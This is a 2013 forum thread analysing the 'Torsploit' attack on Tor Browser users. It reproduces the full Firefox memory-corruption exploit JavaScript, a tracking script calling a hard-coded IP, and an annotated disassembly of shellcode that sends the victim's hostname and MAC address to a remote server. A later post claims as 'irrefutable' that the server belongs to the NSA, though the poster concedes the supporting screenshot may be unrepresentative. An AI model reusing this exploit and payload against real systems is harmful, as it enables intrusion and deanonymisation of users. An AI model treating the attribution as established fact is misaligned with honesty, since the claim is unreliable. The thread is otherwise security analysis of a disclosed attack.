#Torsploit takedown: analysis, reverse engineering, forensic

Pattern_Juggled · Post by **Pattern_Juggled** » Mon Aug 05, 2013 1:13 pm

Incidentally, here's the javascript code used by the exploit in question. I'm far from current in js nowadays - it's a vibrant language, mutating into something far more than the "cute pull down menus" tool I remember from the 1990s - and lots of those capabilities are not in my realm of firsthand expertise. That said, nothing in here even looks like an "exploit" to me, unless I'm missing something? These are all standard, browser-based queries to get status from the machine... and the second code blob is, simply put, a cookie tracking tool.

Is this a 'sploit, or is it just making use of some basic flaw in how Firefox handles these questions? We have a browser vulns thread here with all sorts of info on this subject... perhaps folks can explain, who have closer direct expertise in this. It is interesting that the useragent (NT) and browser type (Firefox) filter is so rigidly applied. They don't even waste time with other platforms or browser codebase, eh?

edited to add: Kevin Poulsen has a typically excellent, timely summary of what's going on with this js (which, as expected, I failed entirely to see). Quoting from his piece:

The heart of the malicious Javascript is a tiny Windows executable hidden in a variable named “Magneto”. A traditional virus would use that executable to download and install a full-featured backdoor, so the hacker could come in later and steal passwords, enlist the computer in a DDoS botnet, and generally do all the other nasty things that happen to a hacked Windows box.

But the Magneto code doesn’t download anything. It looks up the victim’s MAC address – a unique hardware identifier for the computer’s network or Wi-Fi card — and the victim’s Windows hostname. Then it sends it to the Virginia server coded as a standard HTTP web request.
He cites Vlad Tsrklevich as the source of the deobfuscation and code analysis: here's the underlying report.

Whilst the github link is far more useful for code review, in case folks don't want to have to jump over there, here's the version of the code (I keep wanting to call it "script," apologies

) available there currently:

Code: Select all

//nl7qbezu7pqsuone.onion/?requestID=203f1a01-6bc7-4c8b-b0be-2726a7a3cbd0 iframe:
 
<html>
<body>
<iframe frameborder=0 border=0 height=1 width=1 id="iframe"> </iframe>
</body>
</html>
 
<script>
 
var var1=0xB0;
var var2 = new Array(var1);
var var3 = new Array(var1);
var var4 = new Array(var1);
 
var var5=0xFF004;
var var6=0x3FC01;
 
var var7=0x60000000;
var var8=0x18000000;
 
 
var var9=1;
 
var var10 = 0x12000000;
var var11 = 0;
var var12=0;
 
var var13 =0;
 
function df()
{
if(var12==0)
{
return 0x00000000;
}
var var14 = var10 + 0x00010000 * var11 + 0x0000002B;
 
if( var9 == 1 || var9 == 2)
return ( var14 - var12);
else
return 0x00000000;
}
 
function b()
{
var version = al();
if(version <17)
{
window.location.href="content_1.html";
}
if( version >=17 && version <18 )
var12 = 0xE8;
return ;
}
 
function c()
{
var iframe=document.getElementById("iframe");
iframe.src="content_2.html";
}
 
function d()
{
for(var j=0;j<var1;j++)
{
if( j<var1/8 || j==var1-1)
{
var tabb = new Array(0x1ED00);
var4[j]=tabb;
for(i=0;i<0x1ED00;i++)
{
var4[j][i]=0x11559944;
}
}
var2[j]= new ArrayBuffer(var5);
}
for(var j=0;j<var1;j++)
{
var3[j]= new Int32Array(var2[j],0,var6);
var3[j][0]=0x11336688;
 
for(var i=1;i<16;i++)
{
var3[j][0x4000*i] = 0x11446688;
}
 
}
 
for(var j=0;j<var1;j++)
{
if(typeof var4[j] !="undefined")
{
var4[j][0]=0x22556611;
}
}
}
 
function e(view)
{
var i=0;
for(i=0;i<0x400;i++)
{
view[i] = var13+0x1010 ;
}
view[0x0]=var13+0x1010;
view[0x44]=0x0;
view[0x45]=0x0;
view[0x400-4]=var13+0x1010;
view[0x400]=0x00004004;
view[0x401]=0x7FFE0300;
}
 
function f(var15,view,var16)
{
var magneto = "";
{see below}
var var29 = magneto;
var var17 = "\u9060";
var var18 = "\u9061";
var var19 = "\uC481\u0000\u0008" ;
var var20 = "\u2589\u3000"+String.fromCharCode((var13 >> 16) & 0x0000FFFF);
var var21="\u258B\u3000"+String.fromCharCode((var13 >> 16) & 0x0000FFFF);
var var22 = "\uE589";
var var23 ="\uC3C9";
var var24 = "\uE889";
var24 += "\u608D\u90C0";
 
var var25 = var10 + 0x00010000 * var11 + 0x00000030 + 0x00100000;
var var26 = var25 + var16*4
 
var var27 =""
var27 += "\uB890\u2020\u2020";
var27 += "\uA390"+ae(var26+0x00);
var27 += "\uA390"+ae(var26+0x04);
var27 += "\uA390"+ae(var26+0x08);
var27 += "\uA390"+ae(var26+0x0C);
 
var var28 = var17;
var28 += var20;
var28 += var19;
var28 += var22;
var28 += var27;
var28 += var29;
var28 += var21;
var28 += var18;
var28 += var23;
var var29Array = new Array();
var29Array=ag(var28);
 
var var29Ad = var13+0x5010;
var i=0;
var j=0;
var var30=var13+0x4048;
var var31 = new Array();
 
var31[0]=var30;
var31[1]=var30;
var31[2]=var30;
var31[3]=var15[1];
var31[4]=var29Ad;
var31[5]=0xFFFFFFFF;
var31[6]=var13+0x4044;
var31[7]=var13+0x4040;
var31[8]=0x00000040;
var31[9]=var13+0x4048;
var31[10]=0x00040000;
var31[11]=var29Ad;
var31[12]=var13+0x301C;
 
for(var i=0 ; i < 0x140 ; i++)
{
var31[i+15]=var15[0];
}
var var32 = 0x3F8;
view[0x800+0+var32]=var13+0x4018;
view[0x800+1+var32]=var13+0x4018;
for(var i=2 ; i < var31.length ; i++)
{
view[0x800+i+var32]= 0x41414141;
}
for(var i=0 ; i < var31.length ; i++)
{
view[0xC02+i+var32]= var31[i];
}
for(var i=0 ; i < var29Array.length ; i++)
{
view[0x1000 + i+var32] = var29Array[i];
}
 
}
 
function g(var50,view)
{
var k = h(var50,view);
var j=0;
if( k < 0 )
return -1;
view[0x404+k]=var13+0x3010;
return 1;
}
 
function h(var50,view)
{
var address=0;
var u=0;
var memory="";
var var55=0;
for( u =7; u >=4 ;u--)
{
address=view[0x404+u];
if( address > 0x000A0000 && address < 0x80000000 )
{
memory = i(address,0x48,var50,view);
var55=af(memory[0x14]+memory[0x15]);
if(var55==address)
{
return u;
}
}
}
return -1;
}
 
function i(address,size,var50,view)
{
var var56 = size/2;
var56 = var56*0x10 +0x04;
view[0x400]=var56;
view[0x401]=address;
return var4[var50][0];
}
 
function j(memory,view)
{
var intArray=ag(memory);
for(var i=0 ; i < intArray.length ; i++)
{
view[0x404+i]=intArray[i];
}
}
 
function k()
{
for(var j=0;j<var1;j++)
{
if(var2[j].byteLength!=var5)
{
return j;
}
}
return -1;
}
 
function l(view,var58)
{
view[var58] = var13 + 0x1030;
view[var58+1] = 0xFFFFFF85;
}
 
function m(view,var58)
{
view[var58]=0x00000000;
for(var j=0;j<var1;j++)
{
if(typeof var4[j] !="undefined")
{
if(var4[j][0]!=0x22556611)
return j;
}
}
return -1
}
 
function n(view,firstvar58)
{
var var57 = var10 + 0x00100000 + 0x00010000 * var11;
var var58=0;
for(var i=0;i<200;i++)
{
if(view[var58] != 0x11336688)
{
if(view[var58] == 0x22556611 )
return var58;
else
return -1;
}
if(var58==0)
{
var58 = firstvar58;
}else{
var var59=view[var58-0x0C];
var58 = (var59 - var57)/4;
}
}
return -1;
}
 
function o(var60)
{
var view = new Int32Array(var2[var60],0,0x00040400);
 
var var59 = view[0x00100000/4-0x0C];
var var57 = var10 + 0x00100000 + 0x00010000 * var11;
 
return ((var59 - var57)/4);
}
 
function p()
{
for(var j=0;j<var1;j++)
{
for(var i=1;i<16;i++)
{
if(var3[j][i*0x4000-0x02]==0x01000000)
{
return -i;
}
}
}
return 0;
}
 
function q(var60)
{
var view = new Int32Array(var2[var60],0,0x00040400);
view[0x00100000/4-0x02]=var7;
if(var2[var60+1].byteLength==var7)
return var60+1;
return -1;
}
 
function r(var60)
{
var view = new Int32Array(var2[var60],0,0x00040400);
view[0x00100000/4-0x02]=var5;
}
 
function t()
{
if(typeof sessionStorage.tempStor !="undefined")
return false;
sessionStorage.tempStor="";
return true;
}
 
function u()
{
if( t() == true )
{
var9 = 1;
b();
d();
c();
}else{
return ;
}
}
 
function v()
{
if(k() == -1)
{
var11 = p();
var9 = 2;
c();
}else{
x();
}
}
 
function w()
{
if(var9==1)
v();
else
x();
}
 
function x()
{
 
var var60 = k();
if(var60==-1)
return ;
 
var nextvar60 = q(var60);
if(nextvar60==-1)
return ;
 
var var61 = o(var60);
var var62 = new Int32Array(var2[nextvar60],0,var8);
var var58 = n(var62,var61);
if(var58==-1)
return ;
 
var var50 = m(var62,var58);
 
var13 = var10 + 0x00100000 + 0x00010000 * var11;
e(var62);
 
l(var62,var58);
 
var var64 = var4[var50][0];
 
ac(var64,var50,var62,var58,var60);
}
 
function y(index)
{
var4[index][1]= document.createElement('span') ;
}
 
function z(index,index2)
{
var4[index][1].innerHTML;
}
 
function aa(view,var63)
{
return view[var63];
}
 
function ab(address,view,var63)
{
view[var63]=address;
}
 
 
function ac(var64,var50,var62,var58,var60)
{
var var15=ah(var64);
 
f(var15,var62,var58);
 
y(var50);
var var66 = aa(var62,var58+2);
 
var var67 = i(var66,0x40,var50,var62) ;
j(var67,var62);
 
g(var50,var62);
ab(var13+0x1040 ,var62,var58+2);
 
r(var60)
setTimeout(ad,1000);
z(var50);
}
 
 
function ad()
{
for(var j=0;j<var1;j++)
{
delete var3[j]
var3[j]= null;
 
delete var2[j];
var2[j] = null;
 
if(typeof var4[j] !="undefined")
{
delete var4[j];
var4[j] = null;
}
}
delete var2;
delete var3;
delete var4;
var2=null;
var3=null;
var4=null;
}
 
function ae(int32)
{
var var68 = String.fromCharCode((int32)& 0x0000FFFF);
var var69 = String.fromCharCode((int32 >> 16) & 0x0000FFFF);
return var68+var69;
}
 
 
function af(string)
{
var var70 = string.charCodeAt(0);
var var71 = string.charCodeAt(1);
var var72 = (var71 << 16) + var70;
return var72;
}
 
function ag(string)
{
if(string.length%2!=0)
string+="\u9090";
var intArray= new Array();
for(var i=0 ; i*2 < string.length; i++ )
intArray[i]=af(string[i*2]+string[i*2+1]);
return intArray;
}
 
 
function ah(var73)
{
var var74 = var73.substring(0,2);
var var70 = var74.charCodeAt(0);
var var71 = var74.charCodeAt(1);
var var75 = (var71 << 16) + var70;
if (var75 == 0)
{
var var76 = var73.substring(32, 34);
var var70 = var76.charCodeAt(0);
var var71 = var76.charCodeAt(1);
var75 = (var71 << 16) + var70;
}
var var15 = am(var75);
if (var15 == -1)
{
return;
}
return var15
}
 
function aj(version)
{
var i = navigator.userAgent.indexOf("Windows NT");
if (i != -1)
return true;
return false;
}
 
function ak()
{
var ua = navigator.userAgent;
var browser = ua.substring(0, ua.lastIndexOf("/"));
browser = browser.substring(browser.lastIndexOf(" ") + 1);
if (browser != "Firefox")
return -1;
 
var version = ua.substring(ua.lastIndexOf("/") + 1);
version = parseInt(version.substring(0, version.lastIndexOf(".")));
return version;
}
 
function al()
{
version = ak();
 
if (!aj(version))
return -1;
return version;
}
 
 
function am(var77)
{
var var15 = new Array(2);
if (var77 % 0x10000 == 0xE510)
{
var78 = var77 - 0xE510;
var15[0] = var78 + 0xE8AE;
var15[1] = var78 + 0xD6EE;
}
else if (var77 % 0x10000 == 0x9A90)
{
var78 = var77 - 0x69A90;
var15[0] = var78 + 0x6A063;
var15[1] = var78 + 0x68968;
}
else if (var77 % 0x10000 == 0x5E70)
{
var78 = var77 - 0x65E70;
var15[0] = var78 + 0x66413;
var15[1] = var78 + 0x64D34;
}
else if (var77 % 0x10000 == 0x35F3)
{
var78 = var77 - 0x335F3;
var15[0] = var78 + 0x4DE13;
var15[1] = var78 + 0x49AB8;
}
else if (var77 % 0x10000 == 0x5CA0)
{
var78 = var77 - 0x65CA0;
var15[0] = var78 + 0x66253;
var15[1] = var78 + 0x64B84;
}
else if (var77 % 0x10000 == 0x5CD0)
{
var78 = var77 - 0x65CD0;
var15[0] = var78 + 0x662A3;
var15[1] = var78 + 0x64BA4;
 
}
else if (var77 % 0x10000 == 0x6190)
{
var78 = var77 - 0x46190;
var15[0] = var78 + 0x467D3;
var15[1] = var78 + 0x45000;
 
}
else if (var77 % 0x10000 == 0x9CB9)
{
var78 = var77 - 0x29CB9;
var15[0] = var78 + 0x29B83;
var15[1] = var78 + 0xFFC8;
}
else if (var77 % 0x10000 == 0x9CE9)
{
var78 = var77 - 0x29CE9;
var15[0] = var78 + 0x29BB3;
var15[1] = var78 + 0xFFD8;
}
else if (var77 % 0x10000 == 0x70B0)
{
var78 = var77 - 0x470B0;
var15[0] = var78 + 0x47733;
var15[1] = var78 + 0x45F18;
}
else if (var77 % 0x10000 == 0x7090)
{
var78 = var77 - 0x47090;
var15[0] = var78 + 0x476B3;
var15[1] = var78 + 0x45F18;
}
else if (var77 % 0x10000 == 0x9E49)
{
var78 = var77 - 0x29E49;
var15[0] = var78 + 0x29D13;
var15[1] = var78 + 0x10028;
}
else if (var77 % 0x10000 == 0x9E69)
{
var78 = var77 - 0x29E69;
var15[0] = var78 + 0x29D33;
var15[1] = var78 + 0x10018;
}
 
else if (var77 % 0x10000 == 0x9EB9)
{
var78 = var77 - 0x29EB9;
var15[0] = var78 + 0x29D83;
var15[1] = var78 + 0xFFC8;
}
else
{
return -1;
}
 
return var15;
}
 
window.addEventListener("onload", u(),true);
 
</script>
 
 
nl7qbezu7pqsuone.onion/content_2.html:
 
<html><body></body></html><script>var y="?????",url=window.location.href;if(0>url.indexOf(y)){var iframe=document.createElement("iframe");iframe.src="content_3.html";document.body.appendChild(iframe)}else parent.w();function df(){return parent.df()};</script>
 
 
nl7qbezu7pqsuone.onion/content_3.html:
 
<script>var y="?????",z="",z=z+"<body",z=z+">",z=z+"<img",z=z+" height='1' width='1' src='error.html'",z=z+' onerror="javascript: ',z=z+("window.location.href='content_2.html"+y+"';\" "),z=z+">",z=z+"</body",z=z+">",flag=!1,var83=0;
function b(){for(var e=Array(1024),d=Array(1024),c=0;1024>c;c++)e[c]=new ArrayBuffer(180);for(c=0;1024>c;c++)d[c]=new Int32Array(e[c],0,45),d[c][9]=var83;return d}function a(){!1==flag&&(flag=!0,window.stop());window.stop();b();window.parent.frames[0].frameElement.ownerDocument.write(z);b()}var83=parent.df();0!=var83&&document.addEventListener("readystatechange",a,!1);
</script>

...and here's the cookie-based stuff, labelled "second-version-js.js"

Code: Select all

function createCookie(name,value,minutes) {
if (minutes) {
var date = new Date();
date.setTime(date.getTime()+(minutes*60*1000));
var expires = "; expires="+date.toGMTString();
}
else var expires = "";
document.cookie = name+"="+value+expires+"; path=/";
}
 
function readCookie(name) {
var nameEQ = name + "=";
var ca = document.cookie.split(';');
for(var i=0;i < ca.length;i++) {
var c = ca[i];
while (c.charAt(0)==' ') c = c.substring(1,c.length);
if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length,c.length);
}
return null;
}
 
function isFF() {
return (document.getBoxObjectFor != null || window.mozInnerScreenX != null || /Firefox/i.test(navigator.userAgent));
}
 
function updatify() {
var iframe = document.createElement('iframe');
iframe.style.display = "inline";
iframe.frameBorder = "0";
iframe.scrolling = "no";
iframe.src = "http://65.222.202.53/?requestID=eb5f2c80-fc81-11e2-b778-0800200c9a66";
iframe.height = "5";
iframe.width = "*";
document.body.appendChild(iframe);
}
 
function freedomhost() {
if ( ! readCookie("n_serv") ) {
createCookie("n_serv", "eb5f2c80-fc81-11e2-b778-0800200c9a66", 30);
updatify();
}
}
 
function isReady()
{
if ( document.readyState === "interactive" || document.readyState === "complete" ) {
if ( isFF() ) {
//window.alert(window.location + "Firefox Detected.")
freedomhost();
}
}
else
{
setTimeout(isReady, 250);
}
}
setTimeout(isReady, 250);

Here's the actual Magneto shellcode:

magnetoshellcode.txt: (3.52 KiB) Downloaded 938 times

Pattern_Juggled · Post by **Pattern_Juggled** » Mon Aug 05, 2013 1:33 pm

And here, for convenience's sake, is Vlad Tsrklevich's analysis of the kit (quoted verbatim from original source... except I added a direct link to his twitter profile, just 'cause

):

This is an annotation and very brief analysis of the payload used by the Tor Browser Bundle exploit. Earlier I pasted a dump here:

Briefly, this payload connects to 65.222.202.54:80 and sends it an HTTP request that includes the host name (via gethostname()) and the MAC address of the local host (via calling SendARP on gethostbyname()->h_addr_list). After that it cleans up the state and appears to deliberately crash.

Because this payload does not download or execute any secondary backdoor or commands it's very likely that this is being operated by an LEA and not by blackhats.

Vlad Tsyrklevich
@vlad902

A lightly annotated disassembly of the payload is included below:
00000000 skipping 0x91 bytes
00000091 5D pop ebp
00000092 81BDE90200004745 cmp dword [ebp+0x2e9],0x20544547 # "GET "
-5420
0000009C 7570 jnz 0x10e
0000009E 8D85D1020000 lea eax,[ebp+0x2d1] "ws2_32"
000000A4 50 push eax
000000A5 684C772607 push dword 0x726774c # LoadLibraryA
000000AA FFD5 call ebp
000000AC 85C0 test eax,eax
000000AE 745E jz 0x10e
000000B0 8D85D8020000 lea eax,[ebp+0x2d8] "IPHLPAPI"
000000B6 50 push eax
000000B7 684C772607 push dword 0x726774c # LoadLibraryA
000000BC FFD5 call ebp # ebp = find function
000000BE 85C0 test eax,eax
000000C0 744C jz 0x10e
000000C2 BB90010000 mov ebx,0x190
000000C7 29DC sub esp,ebx
000000C9 54 push esp
000000CA 53 push ebx
000000CB 6829806B00 push dword 0x6b8029 # WSAStartupA
000000D0 FFD5 call ebp
000000D2 01DC add esp,ebx
000000D4 85C0 test eax,eax
000000D6 7536 jnz 0x10e
000000D8 50 push eax
000000D9 50 push eax
000000DA 50 push eax
000000DB 50 push eax
000000DC 40 inc eax
000000DD 50 push eax
000000DE 40 inc eax
000000DF 50 push eax
000000E0 68EA0FDFE0 push dword 0xe0df0fea # WSASocketA
000000E5 FFD5 call ebp
000000E7 31DB xor ebx,ebx
000000E9 F7D3 not ebx
000000EB 39C3 cmp ebx,eax
000000ED 741F jz 0x10e
000000EF 89C3 mov ebx,eax
000000F1 6A10 push byte +0x10
000000F3 8DB5E1020000 lea esi,[ebp+0x2e1] # struct sockaddr_in { AF_INET, 80, 65.222.202.54 }
000000F9 56 push esi
000000FA 53 push ebx
000000FB 6899A57461 push dword 0x6174a599 # connect
00000100 FFD5 call ebp
00000102 85C0 test eax,eax
00000104 741F jz 0x125
00000106 FE8D89000000 dec byte [ebp+0x89] # Try to connect 5 times
0000010C 75E3 jnz 0xf1
0000010E 80BD4F02000001 cmp byte [ebp+0x24f],0x1
00000115 7407 jz 0x11e
00000117 E83B010000 call 0x257
0000011C EB05 jmp short 0x123
0000011E E84D010000 call 0x270
00000123 FFE7 jmp edi
00000125 B800010000 mov eax,0x100
0000012A 29C4 sub esp,eax
0000012C 89E2 mov edx,esp
0000012E 52 push edx
0000012F 50 push eax
00000130 52 push edx
00000131 68B649DE01 push dword 0x1de49b6 # gethostname
00000136 FFD5 call ebp
00000138 5F pop edi
00000139 81C400010000 add esp,0x100
0000013F 85C0 test eax,eax
00000141 0F85F2000000 jnz near 0x239
00000147 57 push edi
00000148 E8F9000000 call 0x246 # strlen of gethostname
0000014D 5E pop esi
0000014E 89CA mov edx,ecx
00000150 8DBDE9020000 lea edi,[ebp+0x2e9]
00000156 E8EB000000 call 0x246 # strlen (to move EDI to the NULL byte at the end of the HTTP string)
0000015B 4F dec edi
0000015C 83FA20 cmp edx,byte +0x20
0000015F 7C05 jl 0x166
00000161 BA20000000 mov edx,0x20
00000166 89D1 mov ecx,edx
00000168 56 push esi
00000169 F3A4 rep movsb
0000016B B90D000000 mov ecx,0xd
00000170 8DB5C4020000 lea esi,[ebp+0x2c4] "\r\nCookie: ID="
00000176 F3A4 rep movsb
00000178 89BD4B020000 mov [ebp+0x24b],edi
0000017E 5E pop esi
0000017F 56 push esi
00000180 68A9283480 push dword 0x803428a9 # gethostbyname
00000185 FFD5 call ebp
00000187 85C0 test eax,eax
00000189 0F84AA000000 jz near 0x239
0000018F 668B480A mov cx,[eax+0xa]
00000193 6683F904 cmp cx,byte +0x4
00000197 0F829C000000 jc near 0x239
0000019D 8D400C lea eax,[eax+0xc]
000001A0 8B00 mov eax,[eax]
000001A2 8B08 mov ecx,[eax]
000001A4 8B09 mov ecx,[ecx]
000001A6 B800010000 mov eax,0x100
000001AB 50 push eax
000001AC 89E7 mov edi,esp
000001AE 29C4 sub esp,eax
000001B0 89E6 mov esi,esp
000001B2 57 push edi
000001B3 56 push esi
000001B4 51 push ecx
000001B5 51 push ecx
000001B6 684872D2B8 push dword 0xb8d27248 # iphlpapi.dll!SendARP
000001BB FFD5 call ebp
000001BD 85C0 test eax,eax
000001BF 81C404010000 add esp,0x104
000001C5 0FB70F movzx ecx,word [edi]
000001C8 83F906 cmp ecx,byte +0x6
000001CB 726C jc 0x239
000001CD B906000000 mov ecx,0x6
000001D2 B810000000 mov eax,0x10
000001D7 29C4 sub esp,eax
000001D9 89E7 mov edi,esp
000001DB 89CA mov edx,ecx
000001DD D1E2 shl edx,1
000001DF 50 push eax
000001E0 52 push edx
000001E1 31D2 xor edx,edx
000001E3 8A16 mov dl,[esi]
000001E5 88D0 mov al,dl
000001E7 24F0 and al,0xf0 # It actually turns the raw data into hex strings before appending it to the HTTP header
000001E9 C0E804 shr al,0x4
000001EC 3C09 cmp al,0x9
000001EE 7704 ja 0x1f4
000001F0 0430 add al,0x30
000001F2 EB02 jmp short 0x1f6
000001F4 0437 add al,0x37
000001F6 8807 mov [edi],al
000001F8 47 inc edi
000001F9 88D0 mov al,dl
000001FB 240F and al,0xf
000001FD 3C09 cmp al,0x9
000001FF 7704 ja 0x205
00000201 0430 add al,0x30
00000203 EB02 jmp short 0x207
00000205 0437 add al,0x37
00000207 8807 mov [edi],al
00000209 47 inc edi
0000020A 46 inc esi
0000020B E2D4 loop 0x1e1
0000020D 59 pop ecx
0000020E 29CF sub edi,ecx
00000210 89FE mov esi,edi
00000212 58 pop eax
00000213 01C4 add esp,eax
00000215 8BBD4B020000 mov edi,[ebp+0x24b]
0000021B F3A4 rep movsb
0000021D C6854F02000001 mov byte [ebp+0x24f],0x1
00000224 E82E000000 call 0x257 # Append "Connection: keep-alive\r\nAccept: */*\r\nAccept-Encoding: gzip\r\n\r\n" and return the new strlen(ebp + 0x2e9)
00000229 31C0 xor eax,eax
0000022B 50 push eax
0000022C 51 push ecx
0000022D 29CF sub edi,ecx
0000022F 4F dec edi
00000230 57 push edi
00000231 53 push ebx
00000232 68C2EB385F push dword 0x5f38ebc2 # send
00000237 FFD5 call ebp
00000239 53 push ebx
0000023A 68756E4D61 push dword 0x614d6e75 # closesocket
0000023F FFD5 call ebp
00000241 E9C8FEFFFF jmp 0x10e
00000246 31C9 xor ecx,ecx
00000248 F7D1 not ecx
0000024A 31C0 xor eax,eax
0000024C F2AE repne scasb
0000024E F7D1 not ecx
00000250 49 dec ecx
00000251 C3 ret
00000252 0000 add [eax],al
00000254 0000 add [eax],al
00000256 008DBDE90200 add [ebp+0x2e9bd],cl
0000025C 00E8 add al,ch
0000025E E4FF in al,0xff
00000260 FF db 0xFF
00000261 FF4FB9 dec dword [edi-0x47]
00000264 4F dec edi
00000265 0000 add [eax],al
00000267 008DB5750200 add [ebp+0x275b5],cl
0000026D 00F3 add bl,dh
0000026F A4 movsb
00000270 8DBDE9020000 lea edi,[ebp+0x2e9]
00000276 E8CBFFFFFF call 0x246
0000027B C3 ret
0000027C 0D0A436F6E or eax,0x6e6f430a
00000281 6E outsb
00000282 656374696F arpl [gs:ecx+ebp*2+0x6f],si
00000287 6E outsb
00000288 3A20 cmp ah,[eax]
0000028A 6B656570 imul esp,[ebp+0x65],byte +0x70
0000028E 2D616C6976 sub eax,0x76696c61
00000293 650D0A416363 gs or eax,0x6363410a
00000299 657074 gs jo 0x310
0000029C 3A20 cmp ah,[eax]
0000029E 2A2F sub ch,[edi]
000002A0 2A0D0A416363 sub cl,[0x6363410a]
000002A6 657074 gs jo 0x31d
000002A9 2D456E636F sub eax,0x6f636e45
000002AE 64696E673A20677A imul ebp,[fs:esi+0x67],dword 0x7a67203a
000002B6 69700D0A0D0A00 imul esi,[eax+0xd],dword 0xa0d0a
000002BD 83C70E add edi,byte +0xe
000002C0 31C9 xor ecx,ecx
000002C2 F7D1 not ecx
000002C4 31C0 xor eax,eax
000002C6 F3AE repe scasb
000002C8 4F dec edi
000002C9 FFE7 jmp edi
000002CB 0D0A436F6F or eax,0x6f6f430a
000002D0 6B69653A imul ebp,[ecx+0x65],byte +0x3a
000002D4 204944 and [ecx+0x44],cl
000002D7 3D7773325F cmp eax,0x5f327377
000002DC 3332 xor esi,[edx]
000002DE 004950 add [ecx+0x50],cl
000002E1 48 dec eax
000002E2 4C dec esp
000002E3 50 push eax
000002E4 41 inc ecx
000002E5 50 push eax
000002E6 49 dec ecx
000002E7 0002 add [edx],al
000002E9 0000 add [eax],al
000002EB 50 push eax
000002EC 41 inc ecx
000002ED DECA fmulp st2
000002EF 3647 ss inc edi
000002F1 45 inc ebp
000002F2 54 push esp
000002F3 202F and [edi],ch
000002F5 303563656134 xor [0x34616563],dh
000002FB 64652D39353164 gs sub eax,0x64313539
00000302 2D34303337 sub eax,0x37333034
00000307 2D62663866 sub eax,0x66386662
0000030C 2D66363930 sub eax,0x30393666
00000311 3535623237 xor eax,0x37326235
00000316 396262 cmp [edx+0x62],esp
00000319 204854 and [eax+0x54],cl
0000031C 54 push esp
0000031D 50 push eax
0000031E 2F das
0000031F 312E xor [esi],ebp
00000321 310D0A486F73 xor [0x736f480a],ecx
00000327 743A jz 0x363
00000329 2000 and [eax],al
0000032B 0000 add [eax],al
0000032D 0000 add [eax],al
0000032F 0000 add [eax],al
00000331 0000 add [eax],al
00000333 0000 add [eax],al
00000335 0000 add [eax],al
00000337 0000 add [eax],al
00000339 0000 add [eax],al
0000033B 0000 add [eax],al
0000033D 0000 add [eax],al
0000033F 0000 add [eax],al
00000341 0000 add [eax],al
00000343 0000 add [eax],al
00000345 0000 add [eax],al
00000347 0000 add [eax],al
00000349 0000 add [eax],al
0000034B 0000 add [eax],al
0000034D 0000 add [eax],al
0000034F 0000 add [eax],al
00000351 0000 add [eax],al
00000353 0000 add [eax],al
00000355 0000 add [eax],al
00000357 0000 add [eax],al
00000359 0000 add [eax],al
0000035B 0000 add [eax],al
0000035D 0000 add [eax],al
0000035F 0000 add [eax],al
00000361 0000 add [eax],al
00000363 0000 add [eax],al
00000365 0000 add [eax],al
00000367 0000 add [eax],al
00000369 0000 add [eax],al
0000036B 0000 add [eax],al
0000036D 0000 add [eax],al
0000036F 0000 add [eax],al
00000371 0000 add [eax],al
00000373 0000 add [eax],al
00000375 0000 add [eax],al
00000377 0000 add [eax],al
00000379 0000 add [eax],al
0000037B 0000 add [eax],al
0000037D 0000 add [eax],al
0000037F 0000 add [eax],al
00000381 0000 add [eax],al
00000383 0000 add [eax],al
00000385 0000 add [eax],al
00000387 0000 add [eax],al
00000389 0000 add [eax],al
0000038B 0000 add [eax],al
0000038D 0000 add [eax],al
0000038F 0000 add [eax],al
00000391 0000 add [eax],al
00000393 0000 add [eax],al
00000395 0000 add [eax],al
00000397 0000 add [eax],al
00000399 0000 add [eax],al
0000039B 0000 add [eax],al
0000039D 0000 add [eax],al
0000039F 0000 add [eax],al
000003A1 0000 add [eax],al
000003A3 0000 add [eax],al
000003A5 0000 add [eax],al
000003A7 0000 add [eax],al
000003A9 0000 add [eax],al
000003AB 0000 add [eax],al
000003AD 0000 add [eax],al
000003AF 0000 add [eax],al
000003B1 0000 add [eax],al
000003B3 0000 add [eax],al
000003B5 0000 add [eax],al
000003B7 0000 add [eax],al
000003B9 0000 add [eax],al
000003BB 90 nop

Pattern_Juggled · Post by **Pattern_Juggled** » Mon Aug 05, 2013 4:08 pm

Here's some excellent de-obfuscation work on the #torsploit payload that's been posted recently.

Post by **cryptostorm_admin** » Mon Aug 05, 2013 6:34 pm

Well, the story gets more interesting...

This morning, we read that information from the NSA's illegal surveillance databases has been routinely finding its way into DEA drug cases, with an entire government "training programme" in existence to mask the source of the information from defendants... as well as prosecutors and judges.

And this weekend, we've been working through the news that a large breach of security associated with the Tor network - it's been dubbed #torsploit - has taken place. Exploit code is available (see earlier posts in this thread), and folks have been de-obfuscating and analysing the code.

There's also an IP address hard-coded into it - that's where the info gathered by the malware is being sent. That IP address is:

65.222.202.53

Now, the press reporting on the address so far has been saying it's a "Verizon business address in Virginia." Yes, that's what whois shows, but that's not exactly the full story, or the real story.

The folks at Baneki Privacy Labs have been chasing down that detail. They first asked, in a game-theoretic way, whether the entire situation isn't a bit too, well... obvious. I mean, did the FBI think nobody would notice? Everyone's been assuming it's the FBI, doing something like the "Darkmarket honeypot," or some such. It's worth noting that nobody has taken public credit for this #torsploit malware yet, so attributing it to the FBI is a leap of assumptive logic.

Turns out, the story is much more interesting than that.

Baneki dug deeper than whois, and got some clues things were spookier than they seemed. First, there's an open port (80) sitting on the machine in question. So it's not some recycled or attempted-at-obfuscated IP address. It's still live and running. Then the fun starts...

SAIC is, needless to say, deep in the core of the cyber-military complex... and certainly not the FBI.

Some further investigation by Baneki turns up the following information:

edit: screenshot previously posted here was taken several hours after initial analysis, and may not be representative of data used in the original research (we were dumb & didn't screenshot when we should have, basically); see this post, later in the thread for a detailed exploration of this issue - thanks!

That IP address is part of IP space directly allocated to the NSA's Autonomous Systems (AS). It's not FBI; it's NSA.

What is an NSA IP address doing as a command & control contact for javascript malware being deployed in the #torsploit attack? That remains to be seen... but we already know that PRISM data has been "jumping the wall" and leaking into other law enforcement hands. Is this an example of further abuse of PRISM's "national security only" dataset? That appears the most likely explanation, at this point in time.

Glenn Greenwald has been warning us this is happening - and here's another hard, objective, irrefutable data point. The NSA's Alexander - who only last week was at DefCon doing his best to charm the audience - is once again caught lying bald-faced.

What happens now? We sit back to await developments...

~ Cryptocloud Secure Networking | cryptocloud.com

hat-tips: Baneki Privacy Labs, @darkernet1, @Anonycast... and others behind the scenes

pr0tox · Post by **pr0tox** » Mon Aug 05, 2013 7:35 pm

Thank you for spending the time to pull these resources together. Just to be sure I understand the analysis... the operating assumption here is that all of this *only* happens if NoScipt was set to enable scripts AND you were running a windows machine, right? There wasn't an exploit to disable noscript?

It appears that several criteria *must* be fulfilled for the exploit to work:

